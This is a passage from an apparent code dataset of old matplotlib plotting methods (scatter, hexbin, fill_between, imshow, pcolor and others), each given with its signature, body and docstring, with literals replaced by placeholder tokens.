len(marker)><NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if cbook.is_numlike(marker[<NUM_LIT:0>]):<EOL><INDENT>if len(marker)==<NUM_LIT:2>:<EOL><INDENT>numsides, rotation = marker[<NUM_LIT:0>], <NUM_LIT:0.><EOL><DEDENT>elif len(marker)==<NUM_LIT:3>:<EOL><INDENT>numsides, rotation = marker[<NUM_LIT:0>], marker[<NUM_LIT:2>]<EOL><DEDENT>sym = True<EOL>if marker[<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>):<EOL><INDENT>symstyle = marker[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>verts = np.asarray(marker[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>if sym is not None:<EOL><INDENT>if symstyle==<NUM_LIT:0>:<EOL><INDENT>collection = mcoll.RegularPolyCollection(<EOL>numsides, rotation, scales,<EOL>facecolors = colors,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>offsets = list(zip(x,y)),<EOL>transOffset = self.transData,<EOL>)<EOL><DEDENT>elif symstyle==<NUM_LIT:1>:<EOL><INDENT>collection = mcoll.StarPolygonCollection(<EOL>numsides, rotation, scales,<EOL>facecolors = colors,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>offsets = list(zip(x,y)),<EOL>transOffset = self.transData,<EOL>)<EOL><DEDENT>elif symstyle==<NUM_LIT:2>:<EOL><INDENT>collection = mcoll.AsteriskPolygonCollection(<EOL>numsides, rotation, scales,<EOL>facecolors = colors,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>offsets = list(zip(x,y)),<EOL>transOffset = self.transData,<EOL>)<EOL><DEDENT>elif symstyle==<NUM_LIT:3>:<EOL><INDENT>collection = mcoll.CircleCollection(<EOL>scales,<EOL>facecolors = colors,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>offsets = list(zip(x,y)),<EOL>transOffset = self.transData,<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rescale = np.sqrt(max(verts[:,<NUM_LIT:0>]**<NUM_LIT:2>+verts[:,<NUM_LIT:1>]**<NUM_LIT:2>))<EOL>verts /= rescale<EOL>collection = mcoll.PolyCollection(<EOL>(verts,), scales,<EOL>facecolors = colors,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>offsets = list(zip(x,y)),<EOL>transOffset = self.transData,<EOL>)<EOL>collection.set_transform(mtransforms.IdentityTransform())<EOL><DEDENT>collection.set_alpha(alpha)<EOL>collection.update(kwargs)<EOL>if colors is None:<EOL><INDENT>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>collection.set_array(np.asarray(c))<EOL>collection.set_cmap(cmap)<EOL>collection.set_norm(norm)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>collection.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>collection.autoscale_None()<EOL><DEDENT><DEDENT>temp_x = x<EOL>temp_y = y<EOL>minx = np.amin(temp_x)<EOL>maxx = np.amax(temp_x)<EOL>miny = np.amin(temp_y)<EOL>maxy = np.amax(temp_y)<EOL>w = maxx-minx<EOL>h = maxy-miny<EOL>padx, pady = <NUM_LIT>*w, <NUM_LIT>*h<EOL>corners = (minx-padx, miny-pady), (maxx+padx, maxy+pady)<EOL>self.update_datalim( corners)<EOL>self.autoscale_view()<EOL>self.add_collection(collection)<EOL>return collection<EOL>", "docstring": "call signatures::\n\n  scatter(x, y, s=20, c='b', marker='o', cmap=None, norm=None,\n          vmin=None, vmax=None, alpha=1.0, linewidths=None,\n          verts=None, **kwargs)\n\nMake a scatter plot of *x* versus *y*, where *x*, *y* are 1-D\nsequences of the same length, *N*.\n\nKeyword arguments:\n\n  *s*:\n    size in points^2.  It is a scalar or an array of the same\n    length as *x* and *y*.\n\n  *c*:\n    a color. *c* can be a single color format string, or a\n    sequence of color specifications of length *N*, or a\n    sequence of *N* numbers to be mapped to colors using the\n    *cmap* and *norm* specified via kwargs (see below). Note\n    that *c* should not be a single numeric RGB or RGBA\n    sequence because that is indistinguishable from an array\n    of values to be colormapped.  *c* can be a 2-D array in\n    which the rows are RGB or RGBA, however.\n\n  *marker*:\n    can be one of:\n\n    =====   ==============\n    Value   Description\n    =====   ==============\n    's'     square\n    'o'     circle\n    '^'     triangle up\n    '>'     triangle right\n    'v'     triangle down\n    '<'     triangle left\n    'd'     diamond\n    'p'     pentagram\n    'h'     hexagon\n    '8'     octagon\n    '+'     plus\n    'x'     cross\n    =====   ==============\n\n    The marker can also be a tuple (*numsides*, *style*,\n    *angle*), which will create a custom, regular symbol.\n\n      *numsides*:\n        the number of sides\n\n      *style*:\n        the style of the regular symbol:\n\n        =====   =============================================\n        Value   Description\n        =====   =============================================\n        0       a regular polygon\n        1       a star-like symbol\n        2       an asterisk\n        3       a circle (*numsides* and *angle* is ignored)\n        =====   =============================================\n\n      *angle*:\n        the angle of rotation of the symbol\n\n    Finally, *marker* can be (*verts*, 0): *verts* is a\n    sequence of (*x*, *y*) vertices for a custom scatter\n    symbol.  Alternatively, use the kwarg combination\n    *marker* = *None*, *verts* = *verts*.\n\nAny or all of *x*, *y*, *s*, and *c* may be masked arrays, in\nwhich case all masks will be combined and only unmasked points\nwill be plotted.\n\nOther keyword arguments: the color mapping and normalization\narguments will be used only if *c* is an array of floats.\n\n  *cmap*: [ None | Colormap ]\n    A :class:`matplotlib.colors.Colormap` instance. If *None*,\n    defaults to rc ``image.cmap``. *cmap* is only used if *c*\n    is an array of floats.\n\n  *norm*: [ None | Normalize ]\n    A :class:`matplotlib.colors.Normalize` instance is used to\n    scale luminance data to 0, 1. If *None*, use the default\n    :func:`normalize`. *norm* is only used if *c* is an array\n    of floats.\n\n  *vmin*/*vmax*:\n    *vmin* and *vmax* are used in conjunction with norm to\n    normalize luminance data.  If either are None, the min and\n    max of the color array *C* is used.  Note if you pass a\n    *norm* instance, your settings for *vmin* and *vmax* will\n    be ignored.\n\n  *alpha*: 0 <= scalar <= 1\n    The alpha value for the patches\n\n  *linewidths*: [ None | scalar | sequence ]\n    If *None*, defaults to (lines.linewidth,).  Note that this\n    is a tuple, and if you set the linewidths argument you\n    must set it as a sequence of floats, as required by\n    :class:`~matplotlib.collections.RegularPolyCollection`.\n\nOptional kwargs control the\n:class:`~matplotlib.collections.Collection` properties; in\nparticular:\n\n  *edgecolors*:\n    'none' to plot faces with no outlines\n\n  *facecolors*:\n    'none' to plot unfilled outlines\n\nHere are the standard descriptions of all the\n:class:`~matplotlib.collections.Collection` kwargs:\n\n%(Collection)s\n\nA :class:`~matplotlib.collections.Collection` instance is\nreturned.", "id": "f17238:c1:m154"}
{"signature": "def hexbin(self, x, y, C = None, gridsize = <NUM_LIT:100>, bins = None,<EOL>xscale = '<STR_LIT>', yscale = '<STR_LIT>',<EOL>cmap=None, norm=None, vmin=None, vmax=None,<EOL>alpha=<NUM_LIT:1.0>, linewidths=None, edgecolors='<STR_LIT:none>',<EOL>reduce_C_function = np.mean,<EOL>**kwargs):", "body": "if not self._hold: self.cla()<EOL>self._process_unit_info(xdata=x, ydata=y, kwargs=kwargs)<EOL>x, y, C = cbook.delete_masked_points(x, y, C)<EOL>if iterable(gridsize):<EOL><INDENT>nx, ny = gridsize<EOL><DEDENT>else:<EOL><INDENT>nx = gridsize<EOL>ny = int(nx/math.sqrt(<NUM_LIT:3>))<EOL><DEDENT>x = np.array(x, float)<EOL>y = np.array(y, float)<EOL>if xscale=='<STR_LIT>':<EOL><INDENT>x = np.log10(x)<EOL><DEDENT>if yscale=='<STR_LIT>':<EOL><INDENT>y = np.log10(y)<EOL><DEDENT>xmin = np.amin(x)<EOL>xmax = np.amax(x)<EOL>ymin = np.amin(y)<EOL>ymax = np.amax(y)<EOL>padding = <NUM_LIT> * (xmax - xmin)<EOL>xmin -= padding<EOL>xmax += padding<EOL>sx = (xmax-xmin) / nx<EOL>sy = (ymax-ymin) / ny<EOL>x = (x-xmin)/sx<EOL>y = (y-ymin)/sy<EOL>ix1 = np.round(x).astype(int)<EOL>iy1 = np.round(y).astype(int)<EOL>ix2 = np.floor(x).astype(int)<EOL>iy2 = np.floor(y).astype(int)<EOL>nx1 = nx + <NUM_LIT:1><EOL>ny1 = ny + <NUM_LIT:1><EOL>nx2 = nx<EOL>ny2 = ny<EOL>n = nx1*ny1+nx2*ny2<EOL>d1 = (x-ix1)**<NUM_LIT:2> + <NUM_LIT> * (y-iy1)**<NUM_LIT:2><EOL>d2 = (x-ix2-<NUM_LIT:0.5>)**<NUM_LIT:2> + <NUM_LIT> * (y-iy2-<NUM_LIT:0.5>)**<NUM_LIT:2><EOL>bdist = (d1<d2)<EOL>if C is None:<EOL><INDENT>accum = np.zeros(n)<EOL>lattice1 = accum[:nx1*ny1]<EOL>lattice2 = accum[nx1*ny1:]<EOL>lattice1.shape = (nx1,ny1)<EOL>lattice2.shape = (nx2,ny2)<EOL>for i in range(len(x)):<EOL><INDENT>if bdist[i]:<EOL><INDENT>lattice1[ix1[i], iy1[i]]+=<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>lattice2[ix2[i], iy2[i]]+=<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>lattice1 = np.empty((nx1,ny1),dtype=object)<EOL>for i in range(nx1):<EOL><INDENT>for j in range(ny1):<EOL><INDENT>lattice1[i,j] = []<EOL><DEDENT><DEDENT>lattice2 = np.empty((nx2,ny2),dtype=object)<EOL>for i in range(nx2):<EOL><INDENT>for j in range(ny2):<EOL><INDENT>lattice2[i,j] = []<EOL><DEDENT><DEDENT>for i in range(len(x)):<EOL><INDENT>if bdist[i]:<EOL><INDENT>lattice1[ix1[i], iy1[i]].append( C[i] )<EOL><DEDENT>else:<EOL><INDENT>lattice2[ix2[i], iy2[i]].append( C[i] )<EOL><DEDENT><DEDENT>for i in range(nx1):<EOL><INDENT>for j in range(ny1):<EOL><INDENT>vals = lattice1[i,j]<EOL>if len(vals):<EOL><INDENT>lattice1[i,j] = reduce_C_function( vals )<EOL><DEDENT>else:<EOL><INDENT>lattice1[i,j] = np.nan<EOL><DEDENT><DEDENT><DEDENT>for i in range(nx2):<EOL><INDENT>for j in range(ny2):<EOL><INDENT>vals = lattice2[i,j]<EOL>if len(vals):<EOL><INDENT>lattice2[i,j] = reduce_C_function( vals )<EOL><DEDENT>else:<EOL><INDENT>lattice2[i,j] = np.nan<EOL><DEDENT><DEDENT><DEDENT>accum = np.hstack((<EOL>lattice1.astype(float).ravel(), lattice2.astype(float).ravel()))<EOL>good_idxs = ~np.isnan(accum)<EOL><DEDENT>px = xmin + sx * np.array([ <NUM_LIT:0.5>, <NUM_LIT:0.5>, <NUM_LIT:0.0>, -<NUM_LIT:0.5>, -<NUM_LIT:0.5>,  <NUM_LIT:0.0>])<EOL>py = ymin + sy * np.array([-<NUM_LIT:0.5>, <NUM_LIT:0.5>, <NUM_LIT:1.0>,  <NUM_LIT:0.5>, -<NUM_LIT:0.5>, -<NUM_LIT:1.0>]) / <NUM_LIT><EOL>polygons = np.zeros((<NUM_LIT:6>, n, <NUM_LIT:2>), float)<EOL>polygons[:,:nx1*ny1,<NUM_LIT:0>] = np.repeat(np.arange(nx1), ny1)<EOL>polygons[:,:nx1*ny1,<NUM_LIT:1>] = np.tile(np.arange(ny1), nx1)<EOL>polygons[:,nx1*ny1:,<NUM_LIT:0>] = np.repeat(np.arange(nx2) + <NUM_LIT:0.5>, ny2)<EOL>polygons[:,nx1*ny1:,<NUM_LIT:1>] = np.tile(np.arange(ny2), nx2) + <NUM_LIT:0.5><EOL>if C is not None:<EOL><INDENT>polygons = polygons[:,good_idxs,:]<EOL>accum = accum[good_idxs]<EOL><DEDENT>polygons = np.transpose(polygons, axes=[<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:2>])<EOL>polygons[:,:,<NUM_LIT:0>] *= sx<EOL>polygons[:,:,<NUM_LIT:1>] *= sy<EOL>polygons[:,:,<NUM_LIT:0>] += px<EOL>polygons[:,:,<NUM_LIT:1>] += py<EOL>if xscale=='<STR_LIT>':<EOL><INDENT>polygons[:,:,<NUM_LIT:0>] = <NUM_LIT:10>**(polygons[:,:,<NUM_LIT:0>])<EOL>xmin = <NUM_LIT:10>**xmin<EOL>xmax = <NUM_LIT:10>**xmax<EOL>self.set_xscale('<STR_LIT>')<EOL><DEDENT>if yscale=='<STR_LIT>':<EOL><INDENT>polygons[:,:,<NUM_LIT:1>] = <NUM_LIT:10>**(polygons[:,:,<NUM_LIT:1>])<EOL>ymin = <NUM_LIT:10>**ymin<EOL>ymax = <NUM_LIT:10>**ymax<EOL>self.set_yscale('<STR_LIT>')<EOL><DEDENT>if edgecolors=='<STR_LIT:none>':<EOL><INDENT>edgecolors = '<STR_LIT>'<EOL><DEDENT>collection = mcoll.PolyCollection(<EOL>polygons,<EOL>edgecolors = edgecolors,<EOL>linewidths = linewidths,<EOL>transOffset = self.transData,<EOL>)<EOL>if bins=='<STR_LIT>':<EOL><INDENT>accum = np.log10(accum+<NUM_LIT:1>)<EOL><DEDENT>elif bins!=None:<EOL><INDENT>if not iterable(bins):<EOL><INDENT>minimum, maximum = min(accum), max(accum)<EOL>bins-=<NUM_LIT:1> <EOL>bins = minimum + (maximum-minimum)*np.arange(bins)/bins<EOL><DEDENT>bins = np.sort(bins)<EOL>accum = bins.searchsorted(accum)<EOL><DEDENT>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>collection.set_array(accum)<EOL>collection.set_cmap(cmap)<EOL>collection.set_norm(norm)<EOL>collection.set_alpha(alpha)<EOL>collection.update(kwargs)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>collection.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>collection.autoscale_None()<EOL><DEDENT>corners = ((xmin, ymin), (xmax, ymax))<EOL>self.update_datalim( corners)<EOL>self.autoscale_view()<EOL>self.add_collection(collection)<EOL>return collection<EOL>", "docstring": "call signature::\n\n  hexbin(x, y, C = None, gridsize = 100, bins = None,\n         xscale = 'linear', yscale = 'linear',\n         cmap=None, norm=None, vmin=None, vmax=None,\n         alpha=1.0, linewidths=None, edgecolors='none'\n         reduce_C_function = np.mean,\n         **kwargs)\n\nMake a hexagonal binning plot of *x* versus *y*, where *x*,\n*y* are 1-D sequences of the same length, *N*. If *C* is None\n(the default), this is a histogram of the number of occurences\nof the observations at (x[i],y[i]).\n\nIf *C* is specified, it specifies values at the coordinate\n(x[i],y[i]). These values are accumulated for each hexagonal\nbin and then reduced according to *reduce_C_function*, which\ndefaults to numpy's mean function (np.mean). (If *C* is\nspecified, it must also be a 1-D sequence of the same length\nas *x* and *y*.)\n\n*x*, *y* and/or *C* may be masked arrays, in which case only\nunmasked points will be plotted.\n\nOptional keyword arguments:\n\n  *gridsize*: [ 100 | integer ]\n    The number of hexagons in the *x*-direction, default is\n    100. The corresponding number of hexagons in the\n    *y*-direction is chosen such that the hexagons are\n    approximately regular. Alternatively, gridsize can be a\n    tuple with two elements specifying the number of hexagons\n    in the *x*-direction and the *y*-direction.\n\n  *bins*: [ None | 'log' | integer | sequence ]\n    If *None*, no binning is applied; the color of each hexagon\n    directly corresponds to its count value.\n\n    If 'log', use a logarithmic scale for the color\n    map. Internally, :math:`log_{10}(i+1)` is used to\n    determine the hexagon color.\n\n    If an integer, divide the counts in the specified number\n    of bins, and color the hexagons accordingly.\n\n    If a sequence of values, the values of the lower bound of\n    the bins to be used.\n\n  *xscale*: [ 'linear' | 'log' ]\n    Use a linear or log10 scale on the horizontal axis.\n\n  *scale*: [ 'linear' | 'log' ]\n    Use a linear or log10 scale on the vertical axis.\n\nOther keyword arguments controlling color mapping and normalization\narguments:\n\n  *cmap*: [ None | Colormap ]\n    a :class:`matplotlib.cm.Colormap` instance. If *None*,\n    defaults to rc ``image.cmap``.\n\n  *norm*: [ None | Normalize ]\n    :class:`matplotlib.colors.Normalize` instance is used to\n    scale luminance data to 0,1.\n\n  *vmin*/*vmax*: scalar\n    *vmin* and *vmax* are used in conjunction with *norm* to normalize\n    luminance data.  If either are *None*, the min and max of the color\n    array *C* is used.  Note if you pass a norm instance, your settings\n    for *vmin* and *vmax* will be ignored.\n\n  *alpha*: scalar\n    the alpha value for the patches\n\n  *linewidths*: [ None | scalar ]\n    If *None*, defaults to rc lines.linewidth. Note that this\n    is a tuple, and if you set the linewidths argument you\n    must set it as a sequence of floats, as required by\n    :class:`~matplotlib.collections.RegularPolyCollection`.\n\nOther keyword arguments controlling the Collection properties:\n\n  *edgecolors*: [ None | mpl color | color sequence ]\n    If 'none', draws the edges in the same color as the fill color.\n    This is the default, as it avoids unsightly unpainted pixels\n    between the hexagons.\n\n    If *None*, draws the outlines in the default color.\n\n    If a matplotlib color arg or sequence of rgba tuples, draws the\n    outlines in the specified color.\n\nHere are the standard descriptions of all the\n:class:`~matplotlib.collections.Collection` kwargs:\n\n%(Collection)s\n\nThe return value is a\n:class:`~matplotlib.collections.PolyCollection` instance; use\n:meth:`~matplotlib.collection.PolyCollection.get_array` on\nthis :class:`~matplotlib.collections.PolyCollection` to get\nthe counts in each hexagon.\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/hexbin_demo.py", "id": "f17238:c1:m155"}
{"signature": "def arrow(self, x, y, dx, dy, **kwargs):", "body": "a = mpatches.FancyArrow(x, y, dx, dy, **kwargs)<EOL>self.add_artist(a)<EOL>return a<EOL>", "docstring": "call signature::\n\n   arrow(x, y, dx, dy, **kwargs)\n\nDraws arrow on specified axis from (*x*, *y*) to (*x* + *dx*,\n*y* + *dy*).\n\nOptional kwargs control the arrow properties:\n%(FancyArrow)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/arrow_demo.py", "id": "f17238:c1:m156"}
{"signature": "def barbs(self, *args, **kw):", "body": "if not self._hold: self.cla()<EOL>b = mquiver.Barbs(self, *args, **kw)<EOL>self.add_collection(b)<EOL>self.update_datalim(b.get_offsets())<EOL>self.autoscale_view()<EOL>return b<EOL>", "docstring": "%(barbs_doc)s\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/barb_demo.py", "id": "f17238:c1:m159"}
{"signature": "def fill(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>patches = []<EOL>for poly in self._get_patches_for_fill(*args, **kwargs):<EOL><INDENT>self.add_patch( poly )<EOL>patches.append( poly )<EOL><DEDENT>self.autoscale_view()<EOL>return patches<EOL>", "docstring": "call signature::\n\n  fill(*args, **kwargs)\n\nPlot filled polygons.  *args* is a variable length argument,\nallowing for multiple *x*, *y* pairs with an optional color\nformat string; see :func:`~matplotlib.pyplot.plot` for details\non the argument parsing.  For example, to plot a polygon with\nvertices at *x*, *y* in blue.::\n\n  ax.fill(x,y, 'b' )\n\nAn arbitrary number of *x*, *y*, *color* groups can be specified::\n\n  ax.fill(x1, y1, 'g', x2, y2, 'r')\n\nReturn value is a list of :class:`~matplotlib.patches.Patch`\ninstances that were added.\n\nThe same color strings that :func:`~matplotlib.pyplot.plot`\nsupports are supported by the fill format string.\n\nIf you would like to fill below a curve, eg. shade a region\nbetween 0 and *y* along *x*, use :meth:`fill_between`\n\nThe *closed* kwarg will close the polygon when *True* (default).\n\nkwargs control the Polygon properties:\n\n%(Polygon)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/fill_demo.py", "id": "f17238:c1:m160"}
{"signature": "def fill_between(self, x, y1, y2=<NUM_LIT:0>, where=None, **kwargs):", "body": "<EOL>self._process_unit_info(xdata=x, ydata=y1, kwargs=kwargs)<EOL>self._process_unit_info(ydata=y2)<EOL>x = np.asarray(self.convert_xunits(x))<EOL>y1 = np.asarray(self.convert_yunits(y1))<EOL>y2 = np.asarray(self.convert_yunits(y2))<EOL>if not cbook.iterable(y1):<EOL><INDENT>y1 = np.ones_like(x)*y1<EOL><DEDENT>if not cbook.iterable(y2):<EOL><INDENT>y2 = np.ones_like(x)*y2<EOL><DEDENT>if where is None:<EOL><INDENT>where = np.ones(len(x), np.bool)<EOL><DEDENT>where = np.asarray(where)<EOL>assert( (len(x)==len(y1)) and (len(x)==len(y2)) and len(x)==len(where))<EOL>polys = []<EOL>for ind0, ind1 in mlab.contiguous_regions(where):<EOL><INDENT>theseverts = []<EOL>xslice = x[ind0:ind1]<EOL>y1slice = y1[ind0:ind1]<EOL>y2slice = y2[ind0:ind1]<EOL>if not len(xslice):<EOL><INDENT>continue<EOL><DEDENT>N = len(xslice)<EOL>X = np.zeros((<NUM_LIT:2>*N+<NUM_LIT:2>, <NUM_LIT:2>), np.float)<EOL>X[<NUM_LIT:0>] = xslice[<NUM_LIT:0>], y2slice[<NUM_LIT:0>]<EOL>X[N+<NUM_LIT:1>] = xslice[-<NUM_LIT:1>], y2slice[-<NUM_LIT:1>]<EOL>X[<NUM_LIT:1>:N+<NUM_LIT:1>,<NUM_LIT:0>] = xslice<EOL>X[<NUM_LIT:1>:N+<NUM_LIT:1>,<NUM_LIT:1>] = y1slice<EOL>X[N+<NUM_LIT:2>:,<NUM_LIT:0>] = xslice[::-<NUM_LIT:1>]<EOL>X[N+<NUM_LIT:2>:,<NUM_LIT:1>] = y2slice[::-<NUM_LIT:1>]<EOL>polys.append(X)<EOL><DEDENT>collection = mcoll.PolyCollection(polys, **kwargs)<EOL>XY1 = np.array([x[where], y1[where]]).T<EOL>XY2 = np.array([x[where], y2[where]]).T<EOL>self.dataLim.update_from_data_xy(XY1, self.ignore_existing_data_limits,<EOL>updatex=True, updatey=True)<EOL>self.dataLim.update_from_data_xy(XY2, self.ignore_existing_data_limits,<EOL>updatex=False, updatey=True)<EOL>self.add_collection(collection)<EOL>self.autoscale_view()<EOL>return collection<EOL>", "docstring": "call signature::\n\n  fill_between(x, y1, y2=0, where=None, **kwargs)\n\nCreate a :class:`~matplotlib.collections.PolyCollection`\nfilling the regions between *y1* and *y2* where\n``where==True``\n\n*x*\n  an N length np array of the x data\n\n*y1*\n  an N length scalar or np array of the x data\n\n*y2*\n  an N length scalar or np array of the x data\n\n*where*\n   if None, default to fill between everywhere.  If not None,\n   it is a a N length numpy boolean array and the fill will\n   only happen over the regions where ``where==True``\n\n*kwargs*\n  keyword args passed on to the :class:`PolyCollection`\n\nkwargs control the Polygon properties:\n\n%(PolyCollection)s\n\n.. plot:: mpl_examples/pylab_examples/fill_between.py", "id": "f17238:c1:m161"}
{"signature": "def imshow(self, X, cmap=None, norm=None, aspect=None,<EOL>interpolation=None, alpha=<NUM_LIT:1.0>, vmin=None, vmax=None,<EOL>origin=None, extent=None, shape=None, filternorm=<NUM_LIT:1>,<EOL>filterrad=<NUM_LIT>, imlim=None, resample=None, url=None, **kwargs):", "body": "if not self._hold: self.cla()<EOL>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>if aspect is None: aspect = rcParams['<STR_LIT>']<EOL>self.set_aspect(aspect)<EOL>im = mimage.AxesImage(self, cmap, norm, interpolation, origin, extent,<EOL>filternorm=filternorm,<EOL>filterrad=filterrad, resample=resample, **kwargs)<EOL>im.set_data(X)<EOL>im.set_alpha(alpha)<EOL>self._set_artist_props(im)<EOL>im.set_clip_path(self.patch)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>im.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>im.autoscale_None()<EOL><DEDENT>im.set_url(url)<EOL>xmin, xmax, ymin, ymax = im.get_extent()<EOL>corners = (xmin, ymin), (xmax, ymax)<EOL>self.update_datalim(corners)<EOL>if self._autoscaleon:<EOL><INDENT>self.set_xlim((xmin, xmax))<EOL>self.set_ylim((ymin, ymax))<EOL><DEDENT>self.images.append(im)<EOL>return im<EOL>", "docstring": "call signature::\n\n  imshow(X, cmap=None, norm=None, aspect=None, interpolation=None,\n         alpha=1.0, vmin=None, vmax=None, origin=None, extent=None,\n         **kwargs)\n\nDisplay the image in *X* to current axes.  *X* may be a float\narray, a uint8 array or a PIL image. If *X* is an array, *X*\ncan have the following shapes:\n\n* MxN -- luminance (grayscale, float array only)\n* MxNx3 -- RGB (float or uint8 array)\n* MxNx4 -- RGBA (float or uint8 array)\n\nThe value for each component of MxNx3 and MxNx4 float arrays should be\nin the range 0.0 to 1.0; MxN float arrays may be normalised.\n\nAn :class:`matplotlib.image.AxesImage` instance is returned.\n\nKeyword arguments:\n\n  *cmap*: [ None | Colormap ]\n    A :class:`matplotlib.cm.Colormap` instance, eg. cm.jet.\n    If *None*, default to rc ``image.cmap`` value.\n\n    *cmap* is ignored when *X* has RGB(A) information\n\n  *aspect*: [ None | 'auto' | 'equal' | scalar ]\n    If 'auto', changes the image aspect ratio to match that of the axes\n\n    If 'equal', and *extent* is *None*, changes the axes\n    aspect ratio to match that of the image. If *extent* is\n    not *None*, the axes aspect ratio is changed to match that\n    of the extent.\n\n    If *None*, default to rc ``image.aspect`` value.\n\n  *interpolation*:\n\n    Acceptable values are *None*, 'nearest', 'bilinear',\n      'bicubic', 'spline16', 'spline36', 'hanning', 'hamming',\n      'hermite', 'kaiser', 'quadric', 'catrom', 'gaussian',\n      'bessel', 'mitchell', 'sinc', 'lanczos',\n\n\n    If *interpolation* is *None*, default to rc\n    ``image.interpolation``. See also the *filternorm* and\n    *filterrad* parameters\n\n  *norm*: [ None | Normalize ]\n    An :class:`matplotlib.colors.Normalize` instance; if\n    *None*, default is ``normalization()``.  This scales\n    luminance -> 0-1\n\n    *norm* is only used for an MxN float array.\n\n  *vmin*/*vmax*: [ None | scalar ]\n    Used to scale a luminance image to 0-1.  If either is\n    *None*, the min and max of the luminance values will be\n    used.  Note if *norm* is not *None*, the settings for\n    *vmin* and *vmax* will be ignored.\n\n  *alpha*: scalar\n    The alpha blending value, between 0 (transparent) and 1 (opaque)\n\n  *origin*: [ None | 'upper' | 'lower' ]\n    Place the [0,0] index of the array in the upper left or lower left\n    corner of the axes. If *None*, default to rc ``image.origin``.\n\n  *extent*: [ None | scalars (left, right, bottom, top) ]\n    Eata values of the axes.  The default assigns zero-based row,\n    column indices to the *x*, *y* centers of the pixels.\n\n  *shape*: [ None | scalars (columns, rows) ]\n    For raw buffer images\n\n  *filternorm*:\n    A parameter for the antigrain image resize filter.  From the\n    antigrain documentation, if *filternorm* = 1, the filter normalizes\n    integer values and corrects the rounding errors. It doesn't do\n    anything with the source floating point values, it corrects only\n    integers according to the rule of 1.0 which means that any sum of\n    pixel weights must be equal to 1.0.  So, the filter function must\n    produce a graph of the proper shape.\n\n  *filterrad*:\n    The filter radius for filters that have a radius\n    parameter, i.e. when interpolation is one of: 'sinc',\n    'lanczos' or 'blackman'\n\nAdditional kwargs are :class:`~matplotlib.artist.Artist` properties:\n\n%(Artist)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/image_demo.py", "id": "f17238:c1:m162"}
{"signature": "def pcolor(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>alpha = kwargs.pop('<STR_LIT>', <NUM_LIT:1.0>)<EOL>norm = kwargs.pop('<STR_LIT>', None)<EOL>cmap = kwargs.pop('<STR_LIT>', None)<EOL>vmin = kwargs.pop('<STR_LIT>', None)<EOL>vmax = kwargs.pop('<STR_LIT>', None)<EOL>shading = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>X, Y, C = self._pcolorargs('<STR_LIT>', *args)<EOL>Ny, Nx = X.shape<EOL>C = ma.asarray(C)<EOL>X = ma.asarray(X)<EOL>Y = ma.asarray(Y)<EOL>mask = ma.getmaskarray(X)+ma.getmaskarray(Y)<EOL>xymask = mask[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:0>:-<NUM_LIT:1>]+mask[<NUM_LIT:1>:,<NUM_LIT:1>:]+mask[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:1>:]+mask[<NUM_LIT:1>:,<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>mask = ma.getmaskarray(C)[<NUM_LIT:0>:Ny-<NUM_LIT:1>,<NUM_LIT:0>:Nx-<NUM_LIT:1>]+xymask<EOL>newaxis = np.newaxis<EOL>compress = np.compress<EOL>ravelmask = (mask==<NUM_LIT:0>).ravel()<EOL>X1 = compress(ravelmask, ma.filled(X[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:0>:-<NUM_LIT:1>]).ravel())<EOL>Y1 = compress(ravelmask, ma.filled(Y[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:0>:-<NUM_LIT:1>]).ravel())<EOL>X2 = compress(ravelmask, ma.filled(X[<NUM_LIT:1>:,<NUM_LIT:0>:-<NUM_LIT:1>]).ravel())<EOL>Y2 = compress(ravelmask, ma.filled(Y[<NUM_LIT:1>:,<NUM_LIT:0>:-<NUM_LIT:1>]).ravel())<EOL>X3 = compress(ravelmask, ma.filled(X[<NUM_LIT:1>:,<NUM_LIT:1>:]).ravel())<EOL>Y3 = compress(ravelmask, ma.filled(Y[<NUM_LIT:1>:,<NUM_LIT:1>:]).ravel())<EOL>X4 = compress(ravelmask, ma.filled(X[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:1>:]).ravel())<EOL>Y4 = compress(ravelmask, ma.filled(Y[<NUM_LIT:0>:-<NUM_LIT:1>,<NUM_LIT:1>:]).ravel())<EOL>npoly = len(X1)<EOL>xy = np.concatenate((X1[:,newaxis], Y1[:,newaxis],<EOL>X2[:,newaxis], Y2[:,newaxis],<EOL>X3[:,newaxis], 